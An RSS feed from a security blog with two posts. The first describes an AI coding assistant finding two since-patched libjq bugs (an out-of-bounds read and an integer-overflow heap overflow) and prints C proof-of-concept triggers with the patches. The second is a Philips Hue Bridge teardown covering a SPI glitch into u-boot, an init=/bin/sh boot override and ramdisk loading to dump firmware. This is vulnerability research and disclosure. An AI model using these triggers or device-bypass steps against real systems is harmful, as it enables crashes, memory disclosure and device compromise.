<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Hacking Tales From gh0stshell]]></title><description><![CDATA[Experiences of the past applied to today's CyberSecurity Context]]></description><link>https://gh0stshell.cc</link><generator>RSS for Node</generator><lastBuildDate>Wed, 29 Apr 2026 16:39:22 GMT</lastBuildDate><atom:link href="https://gh0stshell.cc/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Using LLM GPT 5.4 to Find a 0-day in Libjq and then Cry!]]></title><description><![CDATA[Introduction & Disclaimer:
Everything found in this post is found by AI - I don't have access to other LLM's like the "Mythos" or other commercial tools from various security companies in this market.]]></description><link>https://gh0stshell.cc/using-llm-gpt-5-4-to-find-a-0-day-in-libjq-and-then-cry</link><guid isPermaLink="true">https://gh0stshell.cc/using-llm-gpt-5-4-to-find-a-0-day-in-libjq-and-then-cry</guid><dc:creator><![CDATA[Abhijit Lamsoge]]></dc:creator><pubDate>Mon, 27 Apr 2026 16:48:40 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/690de576a51af7311ea8bc73/70d3806e-ffeb-45c3-aecd-8c03a2f57e50.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3>Introduction &amp; Disclaimer:</h3>
<p>Everything found in this post is found by AI - I don't have access to other LLM's like the "Mythos" or other commercial tools from various security companies in this market. This is purely based on common man availability LLM tools. I would be an idiot if i say that LLM's not just from misanthropic can find bugs in source code and that too with lighting speeds.</p>
<p>I personally think this encourages "script kiddie" behaviour and is too good to be true to save humanity from oblivion, and additionally it enhances "cognitive offloading" turned to 20000 km high above, which is disastrous in the longer run, maybe not for experienced researcher but for people starting out or for people from other fields or medium level knowledge personal in a specific area of understanding can now just use this point-tool to get off on this fake high that they were never worthy of in the first place.</p>
<p>As humans find the path of least resistance and usage of LLM to do tasks that once pushed their cognitive limits are now being replaced with cheap prompts and noob syndicated language like " bruhh, find meh sum 0 dayz yaahh" - wtf the fucking fuck is this? Instead of, hmm let me read up little bit on how the parser for this certificate works, or how do i reach this function with what inputs?<br />"The thrill of pwning a system" - is what i live for!! (In this case, i missed it completely, cos no sport and i absolutely hate it) - But it seems this will probably be the future of finding bugs in source code at least to some extent but it will <strong>NEVER</strong>, let me repeat it will <strong>"NEVER"</strong> be able to get even close to what a human brain is capable of for the foreseeable future !</p>
<img src="https://cdn.hashnode.com/uploads/covers/690de576a51af7311ea8bc73/dfed8a90-4200-4450-bb7b-486ed3b498c6.jpg" alt="" style="display:block;margin:0 auto" />

<h3>Why?</h3>
<p>Shrouded amongst mystery and extremely large claim that "Anthropic's <a href="https://red.anthropic.com/2026/mythos-preview/">Mythos</a> can find 0-days for breakfast" is good and bad.<br />I wanted to see for myself if other LLM's can do the same job and write a full-blown 0-day poc because firefox said "<a href="https://blog.mozilla.org/en/firefox/ai-security-zero-day-vulnerabilities/">the zero days are numbered</a>".</p>
<p>With some professional experience of finding 0-days in source code and mostly in weird binary constructs, i decided to give it a try. But LLM's seem to take the fun out of everything for me. No Fun No Game!</p>
<h3>Background:</h3>
<p>One fine day on an afternoon, after continuously being bombarded with AI posts, AI write-ups and the whole AI finding 0-day hype, i decided to test drive the default LLM agent that comes with vscode the chatGPT 5.4 model.<br />I went to <a href="http://github.com">github.com</a> and checked out some open source libraries written in C/C++ and the first one that day that was trending probably was the "libjq" - the jq processing library that in simple terms makes your JSON crap looks a little better.<br />I wasn't much interested in the "jq" cli but rather the "libjq" that people may have linked in their LLM generated or superiorly written codebases.</p>
<h3>One shotting ?</h3>
<p>So, I cloned the then latest version which was<br />Just like everyone else on the internet i took the persona of the skiddie and said "bruh chatGPT" - Find me a security issue in this entire codebase for vulnerable patterns seen for buffer overflow, use after free, double free, integer overflow, null pointer dereferences, underflows, pointer manipulations, off-by-one and all kinds of other categories of implementation or logical failure - Skip the cli utility and only look at code that must be used or linked into an existing code bases, aka library code or code that exposes itself as API or via other interfaces"<br />Churning.... Churning.. Churning....<br />It generated ton of shit as any LLM does and i had to take some time to understand what was real, but hey you can just say " find me some real bugs mf and ignore the junk/crap"<br />Churning... churning... Churning....<br />Some hits that may work ...</p>
<h3>The thing is:</h3>
<p>When i cloned the repo, it was 9th of April 2026.</p>
<img src="https://cdn.hashnode.com/uploads/covers/690de576a51af7311ea8bc73/14077994-de3e-4e9e-8fcf-7b52f94ab479.png" alt="" style="display:block;margin:0 auto" />

<p>And the LLM found the two bugs on the same day within 4 hours.<br />Unfortunately, I just forgot about them and carried on with other things, then one day i realized i should probably update the source tree and try again, this was around 17th of April and by this time, i saw that both the bugs the exact same bugs were patched. I cried!!</p>
<img src="https://cdn.hashnode.com/uploads/covers/690de576a51af7311ea8bc73/f51a7824-d9d7-4b89-8fc3-532b3eaa2b92.png" alt="" style="display:block;margin:0 auto" />

<p>This is not a story of how i using LL found bugs before someone did and that's not the point at all. It's a story of LLM's for source code analysis finding the same bug, which means a collision in pwn2own terms and thus a duplicate but completely valid as coming from 2 individual disconnected sources of information.<br />Credits to the authors of the CVE's who reported this vulnerability and got it fixed!</p>
<p>So here is a bug report. Some of it as you may have guessed is AI generated for reasons to justify doing this in the first place, but it misses the warmth that you need when reading something up</p>
<h3>Bugs: (Below is LLM Generated content as LLM found it)</h3>
<p>(I don't care if there are bugs in this section)</p>
<ol>
<li><p>An out-of-bounds read in the <code>jv_parse_sized()</code> parse-error path.</p>
</li>
<li><p>An integer-overflow-driven heap overflow risk in invalid UTF-8 replacement logic.</p>
</li>
</ol>
<h3>Bug 1: <code>jv_parse_sized()</code> Error-reporting Out-of-Bounds Read</h3>
<h3>Vulnerable Version</h3>
<p>Confirmed vulnerable tagged release:</p>
<ul>
<li><code>jq-1.8.1</code></li>
</ul>
<p>Verified vulnerable code in <code>jq-1.8.1</code> tagged source:</p>
<pre><code class="language-c">value = jv_invalid_with_msg(jv_string_fmt("%s (while parsing '%s')",
                                          jv_string_value(msg),
                                          string));
</code></pre>
<p>This is vulnerable because <code>jv_parse_sized()</code> accepts a <code>(pointer, length)</code> buffer, but the final error formatting step falls back to plain <code>%s</code>, which treats the input as a NUL-terminated C string.</p>
<h3>Bug Details</h3>
<p>The bug lives in the parse error path of <code>jv_parse_sized_custom_flags()</code> in <code>src/jv_parse.c</code>.</p>
<p>The sized parser setup is correct:</p>
<pre><code class="language-c">parser_init(&amp;parser, flags);
jv_parser_set_buf(&amp;parser, string, length, 0);
jv value = jv_parser_next(&amp;parser);
</code></pre>
<p>The unsafe part happens later, after parsing fails and jq tries to attach the original input to the error message:</p>
<pre><code class="language-c">jv_string_fmt("%s (while parsing '%s')", jv_string_value(msg), string)
</code></pre>
<p>Because <code>string</code> is only valid for <code>length</code> bytes, <code>%s</code> can read past the caller-supplied boundary looking for a terminating <code>\0</code>.</p>
<p>Security consequence:</p>
<ol>
<li><p>Out-of-bounds read in the error path</p>
</li>
<li><p>Possible crash if the read crosses into unmapped memory</p>
</li>
<li><p>Possible disclosure of adjacent readable bytes through the generated error string</p>
</li>
</ol>
<h3>PoC</h3>
<pre><code class="language-c">#define _GNU_SOURCE

#include &lt;errno.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;sys/mman.h&gt;
#include &lt;unistd.h&gt;

#include "jv.h"

static void die(const char *what) {
  perror(what);
  exit(1);
}

int main(void) {
  long page_size_long = sysconf(_SC_PAGESIZE);
  if (page_size_long &lt;= 0) {
    fprintf(stderr, "sysconf(_SC_PAGESIZE) failed\n");
    return 1;
  }

  size_t page_size = (size_t)page_size_long;

  char *mapping = mmap(NULL, page_size * 2, PROT_READ | PROT_WRITE,
                       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (mapping == MAP_FAILED)
    die("mmap");

  if (mprotect(mapping + page_size, page_size, PROT_NONE) != 0)
    die("mprotect");

  memset(mapping, 'A', page_size);
  mapping[0] = '{';

  fprintf(stderr,
          "Calling jv_parse_sized() on a non-NUL-terminated malformed buffer.\n"
      "On a build with an out-of-bounds read in error formatting, this may\n"
      "SIGSEGV when the read crosses into the protected guard page.\n"
      "On the current fixed source build, it should return an error instead.\n");

  jv result = jv_parse_sized(mapping, (int)page_size);

  fprintf(stderr,
      "jv_parse_sized() returned instead of crashing. This is the expected\n"
      "result on the current source build in this workspace.\n");

  if (jv_invalid_has_msg(jv_copy(result))) {
    jv msg = jv_invalid_get_msg(result);
    fprintf(stderr, "Returned error: %s\n", jv_string_value(msg));
    jv_free(msg);
  } else {
    jv_free(result);
  }

  munmap(mapping, page_size * 2);
  return 0;
}
</code></pre>
<p>What the PoC does:</p>
<ol>
<li><p>Allocates two pages with <code>mmap()</code></p>
</li>
<li><p>Marks the second page <code>PROT_NONE</code></p>
</li>
<li><p>Fills the first page with non-NUL bytes</p>
</li>
<li><p>Calls <code>jv_parse_sized()</code> on the first page</p>
</li>
</ol>
<p>If jq formats the original input with <code>%s</code>, the read continues into the guard page and faults.</p>
<h3>Vulnerable vs Patched</h3>
<p>Vulnerable code:</p>
<pre><code class="language-c">value = jv_invalid_with_msg(jv_string_fmt("%s (while parsing '%s')",
                                          jv_string_value(msg),
                                          string));
</code></pre>
<p>Patched code:</p>
<pre><code class="language-c">value = jv_invalid_with_msg(jv_string_fmt("%s (while parsing '%.*s')",
                                          jv_string_value(msg),
                                          length,
                                          string));
</code></pre>
<p>Fix commit:</p>
<ul>
<li><code>2f09060afab23fe9390cce7cb860b10416e1bf5f</code></li>
</ul>
<p>Patch hunk:</p>
<pre><code class="language-diff">-    value = jv_invalid_with_msg(jv_string_fmt("%s (while parsing '%s')",
+    value = jv_invalid_with_msg(jv_string_fmt("%s (while parsing '%.*s')",
                                               jv_string_value(msg),
+                                              length,
                                               string));
</code></pre>
<h3>Bug 2: Invalid UTF-8 Replacement Integer Overflow</h3>
<h3>Vulnerable Version</h3>
<p>Confirmed vulnerable tagged release:</p>
<ul>
<li><code>jq-1.8.1</code></li>
</ul>
<p>Verified vulnerable code in <code>jq-1.8.1</code> tagged source:</p>
<pre><code class="language-c">uint32_t maxlength = length * 3 + 1; // worst case: all bad bytes, each becomes a 3-byte U+FFFD
</code></pre>
<p>This is vulnerable because the worst-case output size for invalid UTF-8 replacement is computed in 32-bit arithmetic. For sufficiently large <code>length</code>, <code>length * 3 + 1</code> can wrap to a smaller value.</p>
<h3>Bug Details</h3>
<p>The bug lives in <code>jvp_string_copy_replace_bad()</code> in <code>src/jv.c</code>.</p>
<p>That function is reached when jq receives sized string input with invalid UTF-8 and replaces invalid bytes with U+FFFD.</p>
<p>Affected call path:</p>
<pre><code class="language-c">jv jv_string_sized(const char* str, int len) {
  return
    jvp_utf8_is_valid(str, str+len) ?
    jvp_string_new(str, len) :
    jvp_string_copy_replace_bad(str, len);
}
</code></pre>
<p>The vulnerable size calculation was:</p>
<pre><code class="language-c">uint32_t maxlength = length * 3 + 1;
</code></pre>
<p>If this wraps low, jq allocates too small a buffer and then writes replacement output based on the full logical expansion.</p>
<p>Security consequence:</p>
<ol>
<li><p>Integer overflow in output size calculation</p>
</li>
<li><p>Undersized heap allocation</p>
</li>
<li><p>Heap buffer overflow during replacement writes</p>
</li>
</ol>
<h3>PoC</h3>
<pre><code class="language-c">#include &lt;errno.h&gt;
#include &lt;limits.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;sys/mman.h&gt;

#include "jv.h"

#define WRAP_TRIGGER_LEN 1431655766

static void *map_bytes(size_t length) {
  void *ptr = mmap(NULL, length, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (ptr == MAP_FAILED) {
    fprintf(stderr, "mmap(%zu) failed: %s\n", length, strerror(errno));
    exit(1);
  }
  return ptr;
}

static void unmap_bytes(void *ptr, size_t length) {
  if (munmap(ptr, length) != 0) {
    fprintf(stderr, "munmap(%zu) failed: %s\n", length, strerror(errno));
    exit(1);
  }
}

static void trigger_string_api(void) {
  unsigned char *buf = map_bytes(WRAP_TRIGGER_LEN);
  memset(buf, 0x80, WRAP_TRIGGER_LEN);

  fprintf(stderr,
          "triggering jv_string_sized() with %d bytes of invalid UTF-8\n",
          WRAP_TRIGGER_LEN);

  jv value = jv_string_sized((const char *)buf, WRAP_TRIGGER_LEN);
  jv_free(value);
  unmap_bytes(buf, WRAP_TRIGGER_LEN);
}

static void trigger_parser_api(void) {
  size_t json_length = (size_t)WRAP_TRIGGER_LEN + 2;
  unsigned char *buf = map_bytes(json_length);

  buf[0] = '"';
  memset(buf + 1, 0x80, WRAP_TRIGGER_LEN);
  buf[json_length - 1] = '"';

  fprintf(stderr,
          "triggering jv_parse_sized() with a JSON string containing %d invalid UTF-8 bytes\n",
          WRAP_TRIGGER_LEN);

  jv value = jv_parse_sized((const char *)buf, (int)json_length);
  jv_free(value);
  unmap_bytes(buf, json_length);
}

int main(int argc, char **argv) {
  if (WRAP_TRIGGER_LEN &lt;= 0 || WRAP_TRIGGER_LEN &gt; INT_MAX - 2) {
    fprintf(stderr, "invalid trigger length\n");
    return 2;
  }

  if (argc &gt; 1 &amp;&amp; strcmp(argv[1], "--parse") == 0) {
    trigger_parser_api();
    return 0;
  }

  trigger_string_api();
  return 0;
}
</code></pre>
<p>What the PoC does:</p>
<ol>
<li><p>Allocates a very large input buffer</p>
</li>
<li><p>Fills it with invalid UTF-8 bytes</p>
</li>
<li><p>Sends it through <code>jv_string_sized()</code> or <code>jv_parse_sized()</code></p>
</li>
<li><p>Targets the <code>length * 3 + 1</code> wraparound condition in the historical code</p>
</li>
</ol>
<h3>Vulnerable vs Patched</h3>
<p>Vulnerable code:</p>
<pre><code class="language-c">uint32_t maxlength = length * 3 + 1; // worst case: all bad bytes, each becomes a 3-byte U+FFFD
</code></pre>
<p>Patched code:</p>
<pre><code class="language-c">uint64_t maxlength = (uint64_t)length * 3 + 1;
if (maxlength &gt;= INT_MAX) {
  return jv_invalid_with_msg(jv_string("String too long"));
}
</code></pre>
<p>Fix commit:</p>
<ul>
<li><code>e47e56d226519635768e6aab2f38f0ab037c09e5</code></li>
</ul>
<p>Patch hunk:</p>
<pre><code class="language-diff">-  uint32_t maxlength = length * 3 + 1; // worst case: all bad bytes, each becomes a 3-byte U+FFFD
+  // worst case: all bad bytes, each becomes a 3-byte U+FFFD
+  uint64_t maxlength = (uint64_t)length * 3 + 1;
+  if (maxlength &gt;= INT_MAX) {
+    return jv_invalid_with_msg(jv_string("String too long"));
+  }
</code></pre>
<h3>End of LLM Generated content ---------</h3>
<h3>Is the Thrill of Pwning a System Gone?</h3>
<p>Someone like me doesn't do anything just cos everyone else is doing it - what i do is deeply rooted in how interested I am in the topic and do i feel a sense of achievement after racking my brains for months - The answer for me is simple "With LLM's to find bugs, even if they are 0-days is meaningless to me as it doesn't stimulate my brain the same way like that, when i do it myself to get that dopamine hit that lasts probably days for which reasons i got into this field and how my childhood was actually motivated.<br />I know my process is slower and using LLM's is much faster, but i would trade the brain rot it brings to me and leaves a bad taste in my mouth after blowing it for hours and rather stick to my way.</p>
<h3>Conclusions</h3>
<p>It doesn't matter which LLM vendor or software you are using, the latest one is thus capable of finding security issues in source code at-least. How good the findings are depending on the personnel using the LLM and not the LLM itself.<br />So, there is nothing special about "Mythos" or any other models for that matter.</p>
<p>LLM's probably are the future for source code level analysis and has uses in other various fields. I believe it's only good as an auto-complete tool that when prompted enough may or may not lead you to your outcome.<br />This run was just an example, and it doesn't make it any true that only LLM's can now find bugs, it is just probably just shortening the time.<br />But again, this is a direction for brain rot for reasons mentioned above.</p>
<p>LLM's are not a substitute that you can offload everything to it and forget the world exists or it becomes a better , trust me, it doesn't for several reasons ranging from "cognitive offloading, dissonance, forgetting things, not pushing your mental limits, offloading or skipping the learning process and just pure vibing" these things are detrimental to your brain power in the longer run - We humans never learned anything by skipping things and why should LLM's be any different when it can just single shot everything.<br />The amount of time you spend prompting the LLM can be better spent in learning or understanding things at a deeper level that brings determinism in your brain, and you can use that new information to plan and design things better.</p>
<p>I also feel usage of LLM's is over-hyped beyond recognition these days and it will continue to happen.<br />However, it is also true as we saw in this write up that various industries will continue to evolve pushing forward various agendas and marketing material but real-life is not similar to prompting where you get things quickly but rather a combination of things. If i were to encounter a "person" who is like an LLM, I would probably slap him out of existence. E.g. think about explaining the same thing to a customer care executive (real) about a refund issue of your flight ticket and he doesn't understand and keeps asking you the same information and keeps circling back to the same thing again and again in a different way, LLM prompting is like that - wouldn't it be much simpler to just talk to a human and get your things resolved in a biological way.</p>
<h3>Question for you?</h3>
<p>To whom you will send the T-800 to kill?</p>
<h2>We are the Resistance!</h2>
]]></content:encoded></item><item><title><![CDATA[Philips Hue Bridge Investigations: Part I]]></title><description><![CDATA[Introduction
I was always fascinated by the pwn2own competition - an elite hacking competition where hackers from all over the world compete against time and the most patched and unto dated systems, software’s, devices and products etc. The concept o...]]></description><link>https://gh0stshell.cc/philips-hue-bridge-investigations-part-i</link><guid isPermaLink="true">https://gh0stshell.cc/philips-hue-bridge-investigations-part-i</guid><category><![CDATA[pwn2own]]></category><category><![CDATA[firmware-extraction]]></category><category><![CDATA[#PhilipsHue ]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Abhijit Lamsoge]]></dc:creator><pubDate>Tue, 02 Dec 2025 17:20:02 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762751866252/3cf582c9-fdb6-45c7-8307-2f4b30a0df7a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-introduction">Introduction</h3>
<p>I was always fascinated by the pwn2own competition - an elite hacking competition where hackers from all over the world compete against time and the most patched and unto dated systems, software’s, devices and products etc. The concept of pwn2own started back in 2007 as - if you hack this laptop then it is yours - pwn to own. Now this elite competition has evolved into a very sick hacking competition (it already was) with hacks on real patched systems with a lot of money being awarded. Hence, I decided to try my luck - even if i do not succeed i will probably learn a lot of stuff on the way and get a glimpse into this world. Professionally, my day job is to hack embedded control units and help my company stay a little more secure than it was yesterday, therefore, i thought maybe i can apply the same skills i have on this target. I have worked on a lot of different systems as a developer, leader and a hacker in my career, so picking up something new meant connecting different points in time from my work experiences from the past and apply them at once.</p>
<h3 id="heading-what-is-pwn2own">What is Pwn2Own ?</h3>
<p>The pwn2own competition is managed by ZDI which is part of Trendmicro, and ZDI puts up a blog post and rules of the upcoming event 3 months in advance about which targets are in scope and what the rules of engagement and win are. e.g.<a target="_blank" href="https://www.zerodayinitiative.com/Pwn2OwnIreland2025Rules.html">https://www.zerodayinitiative.com/Pwn2OwnIreland2025Rules.html</a> In my case i decided to try the Pwn2Own Ireland 2025 as it now focuses on products (embedded products), there are separate pwn2own's for enterprise, ICS/OT, automotive but this one focus more on devices like home automation, speakers, phones, printers, routers etc.</p>
<p>The very first thing is to check how much money you want to spend on a target, as you need to purchase the target device so if you were to participate in the competition and want to attempt to hack an iPhone, then you gotta have the iphone, which costs quite some money - same principle applies to other devices also. So, i decided to purchase the Philips Hue Bridge Device, as that was the cheapest one on Amazon Germany, just around 43 euros. Other targets cost a lot of money.</p>
<h3 id="heading-things-to-consider">Things to Consider:</h3>
<p><strong>Timeline</strong>:<br />As soon as the targets are announced by ZDI, you have relatively less time, to finalize a target - the more experienced &amp; l33t researchers like the <a target="_blank" href="https://summoning.team/">Summoning Team</a> or <a target="_blank" href="https://www.synacktiv.com/en">Synaktiv</a> or <a target="_blank" href="https://pcacybersecurity.com/">PCA Cybersecurity</a> or others who have repeatedly cracked many devices on stage, probably buy most of the targets immediately and then work on them in various teams or as individuals. But for inexperienced pwn2own participants like me, i took 2 weeks to decide on a target and my buying decision was purely based on price a device would cost. Once you order the device, and if you are in Europe or the US, it probably takes really less time, as most of the devices in Pwn2Own will be available to ship immediately, but in some countries like India or other SE countries, its really hard to get some of the targets as they are not available locally but have to be ordered or imported from country outside. This costs time, which is precious as the since the date of announcement of the competition targets, participants have 3 months to research, find vulnerabilities and develop a working exploit on the target device in most cases remote code execution and the deliver on stage. So don't waste too much time in selecting a target. For targets like browsers or virtual boxes in other categories, they are readily available, but this is out of scope for this discussion.</p>
<p><strong>Probability</strong>:<br />Lets say you find a bug and wrote an exploit on the most latest version that you have 1 month or 2 months before the competition date, and say the version is 1.1.1, as the competition comes closer, the vendor decides to send a patch, that kills your bug, or your exploit does'’t work at all due to some other factor you are not aware of that got introduced in the update, which means now you have even less time to find the bug and write/reworks your exploit before you take the stage if you will. Vendors will send and apply patches, till the last minute of the competition in order to kill the bugs and avoid paying the money in full. therefore, be advised and plan accordingly while considering these situations.</p>
<p>Defend your exploit code:<br />If you’ve ever heard of defensive programming, then in simple terms it means that considering almost every condition and failure scenario your code will move through and achieve what is supposed to. In a high stakes environment like pwn2own it could be possible that you tested your exploit on v1.1.1 but in the competition you got v1.1.2, the bug is still present but your exploit fails, due to a certain condition introduced in the new version, therefore pwn2own gives you 3 attempts on stage to fix your exploit code or something else - I’ve never been on the pwn2own stage so I don't know how stressful or easy it is to make it work if something goes wrong. Therefore, always write your exploit code considering these variations in target software versions, regional changes, environment difference etc.</p>
<p>pwn2own is a competition where if something has to go wrong, then it will go wrong so plan accordingly!</p>
<h3 id="heading-basic-strategy">Basic Strategy</h3>
<p>Now with that being said, let’s get back to our approach - Once we received our target, the first thing for us was to power it up and check its functionality:</p>
<ul>
<li><p>Power Up - trivial (For automotive Grade devices, this is not so simple like plugging in and everything starts working)</p>
</li>
<li><p>Connect to Network via Ethernet - easy</p>
</li>
<li><p>Enable internet on the device - later</p>
</li>
<li><p>Create Hue Bridge app account - later</p>
</li>
<li><p>Register the device in the Hue app Account - later</p>
</li>
<li><p>Play around with full functions - later</p>
</li>
</ul>
<p>There was a lot of stuff that I did in between. We moved a little carefully, such that we should be able to save a snapshot condition and logs on the device's boot up and its interaction with its network somewhere so that we might refer back to it in the future.</p>
<ul>
<li><p>Powering Up (Just plug the device in and you have power - no fancy stuff as it is a consumer device)</p>
<p>  capture all traffic (Most of All you see are DHCP requests to get an IP address) File attached <a target="_blank" href="https://mega.nz/file/Zyt2yDgT#kgYhPuiJr3D6MG6hFXZ1gLd1Y8OMIPzUzUYeMqgtpNA">here</a></p>
<ul>
<li><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764679996760/1ad448f4-bc5f-45ee-b159-8d7c9073628e.png" alt class="image--center mx-auto" /></p>
<p>  As the Hue Bridge does not yet have a Wi-Fi hotspot, we need to connect it to the router or Local PC with an Ethernet cable.<br />  Setting up the DHCP server is straightforward with dnsmasq - you just need a conf file and a simple command -</p>
<pre><code class="lang-bash">  sudo dnsmasq --conf-file=hue.conf --keep-in-foreground --log-queries --log-dhcp                                                      18:43:05 
  dnsmasq[1124116]: started, version 2.90 cachesize 150
  dnsmasq[1124116]: compile time options: IPv6 GNU-getopt DBus no-UBus i18n IDN2 DHCP DHCPv6 no-Lua TFTP conntrack ipset nftset auth cryptohash DNSSEC loop-detect inotify dumpfile
  dnsmasq[1124116]: warning: no upstream servers configured
  dnsmasq-dhcp[1124116]: DHCP, IP range 192.168.50.10 -- 192.168.50.100, lease time 12h
  dnsmasq-dhcp[1124116]: DHCP, sockets bound exclusively to interface enp1s0
  dnsmasq[1124116]: cleared cache
</code></pre>
<p>  All you get after this are a bunch of DNS requests (Don’t forget to give a gateway IP to your box ethernet interface, ideally the gateway IP.</p>
<p>  The conf file is available <a target="_blank" href="https://mega.nz/file/Y61TRK5a#7wJFWDZaOqA1xE9dP5qmlXny_0di_MbMLJ7G8iqpLjU">here</a>:</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764681612927/e6c41b4a-8a9e-452a-b947-0590ecf207b8.png" alt class="image--center mx-auto" /></p>
<p>  I just temporarily sink-holed all the DNS requests to my local machine I saw, to ensure that the shit doesn’t connect to the internet and auto updates itself, losing some breadcrumb i might need later in hopes of finding some initial handshakes, without letting them talk to the actual Philips backend. (Packet capture <a target="_blank" href="https://mega.nz/file/p7U22Z5Q#4W0ScqM0_0BWiTU3id7PGkF0jwDh9UulG23BeiB6hns">here</a>)</p>
<p>  Similarly, we can capture all the traffic now between the device and its end servers with this approach.</p>
<p>  Before we move on to the Application and Behavior analysis of the Philips Hue Bridge - We will take a small detour to get the firmware extracted, which was not so obvious as it should have been.</p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-firmware-extraction-uart-to-the-rescue-well-not-so-much">Firmware Extraction (UART to the rescue - well Not so much)</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764695149777/8b734ce3-0f6b-4f01-ab1f-338d184de818.jpeg" alt class="image--center mx-auto" /></p>
<p>Philips, please disable your UART !!</p>
<ul>
<li><p>Colin o Flynn <a target="_blank" href="https://colinoflynn.com/2016/07/getting-root-on-philips-hue-bridge-2-0/">article</a></p>
<p>  After Following Colin’s article, even I had the boot delay set to 0, which means, there is no way to stop at u-boot to alter the security string. However, as shown in the article, if you short the SPI chip select logic to 0, then the u-boot driver fails to find the chip from where the kernel needs to be picked up and thus drops you to a nice u-boot shell. (Unfortunately, i do not have screenshot for this glitch) But this needs to be timed correctly, when you see the below on the console.</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764683130496/d3880b89-3b25-4a29-8d1a-e6b5e9e4d04c.png" alt class="image--center mx-auto" /></p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764683058199/1f7c215e-a393-4703-8235-04d40abaeaf4.png" alt class="image--center mx-auto" /></p>
<p>After trying a couple of times - I did it with my bare hands and a jumper cable.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764683259255/74c2cebc-7eb7-45a4-b8d7-8e33a552495e.png" alt class="image--center mx-auto" /></p>
<p>From here it felt like the struggle is over to extract the firmware, but this was only the beginning.<br />All the methods previously shown to reset the security string from u-boot and then using that to login to the device did not work - as after booting it would drop you to a console which asks for some cryptographic key or passphrase before showing the login prompt, which I did not have. This seems to be introduced by Philips after learning about the previous attacks conducted by Colin and other researchers.<br />However, there is still another way. Kids Stuff !</p>
<p>Modifying the default boot parameters of the Hue Kernel Command line is still possible - and I could use this to drop into a bare shell.</p>
<pre><code class="lang-bash">std_bootargs=board=BSB002 console=ttyS0,115200 ubi.mtd=overlay rootfs=/dev/mtdblock:rootfs rootfstype=squashfs noinitrd init=/bin/sh
</code></pre>
<p>This is pretty common for embedded devices running Linux -- I used to do this all day long when I started my career so this was familiar territory.</p>
<p>So ideally once, you drop yourself to “/bin/sh” bare shell, you can basically run everything from the cli and dominate the device, but for me it was not that simple for this device.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764683944544/2d1749cb-f221-4632-872b-b34d3c45eeb6.png" alt class="image--center mx-auto" /></p>
<p>I thought running /sbin/init from the bare shell /bin/sh would start everything, it did but then it locked the console for a password.<br />After hitting a wall with persistent changes on the Hue Bridge’s file system, I decided to try a different approach—<strong>Ramdisk</strong>. The idea was simple: load an emergency kernel with a temporary file system packed with minimal utilities. This would give me a cleaner environment to poke around and dig deeper into the device’s internals.</p>
<p>From the boot logs, I learned that the Hue Bridge uses an <strong>MTD-based NAND layer</strong> with a <strong>SquashFS</strong> file system and some overlay magic. The catch? Any changes made in the <code>/bin/sh</code> environment wouldn’t stick and would vanish after a reboot and never make it to the actual <code>/sbin/init</code> boot process. I spent days trying to crack this, but persistent changes on MTD were a no-go.</p>
<p>So, Ramdisk became the plan. The goal: boot into a better file system environment and then dump the MTD blocks one by one outside the device using <code>nc</code>.</p>
<p>Lets see how we can load a Ramdisk - You can find a bunch of Ramdisk’s from here - you need a a specific one that can understand the NAND <a target="_blank" href="https://downloads.openwrt.org/releases/21.02.2/targets/ath79/nand/">https://downloads.openwrt.org/releases/21.02.2/targets/ath79/nand/</a></p>
<p>We already had <code>bootdelay</code> set to 5 (thanks to our earlier glitch) and changed the boot command line to <code>/bin/sh</code>. U-Boot conveniently offers a <strong>TFTP boot option</strong>, which is perfect for loading a Ramdisk over the network.</p>
<p>Back in the day, TFTP was common because it’s lightweight and easy to embed in U-Boot. It allows network boot or RAM load out of the box. There’s also <strong>DFU boot</strong>, another U-Boot feature that later became popular with Raspberry Pi and other dev boards..<br />From uboot envars we have</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764691798846/b6a21f82-d15b-4cc5-9841-f2f5c5db8d6d.png" alt class="image--center mx-auto" /></p>
<p>To load the Ramdisk, we need a local TFTP server. Here’s the setup:</p>
<ul>
<li><p><strong>Local machine IP</strong>: <code>192.168.11.66</code> (where the TFTP server runs)</p>
</li>
<li><p><strong>Device IP</strong>: <code>192.168.11.179</code> (hardcoded on the Hue Bridge)</p>
</li>
</ul>
<p>Connect both over Ethernet, and you’re good to go. U-Boot will use these settings to pull the Ramdisk image from your TFTP server during boot.</p>
<p>I am using from the below ramdisk.</p>
<ul>
<li><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764693080502/846a8365-94b6-4027-a87f-65101f8d1c7e.png" alt class="image--center mx-auto" /></p>
<p>  Philips, please enable Secure Boot - at-least the basic one !!</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764695393066/b057b09d-be0a-462b-a655-6f696954b817.png" alt class="image--center mx-auto" /></p>
<p>  Once the system pulls the image into RAM and starts booting, you’ll need to enter <strong>failsafe mode,</strong> otherwise, the image will spiral into an endless kernel panic. (Debugging that rabbit hole is a story for another day.)</p>
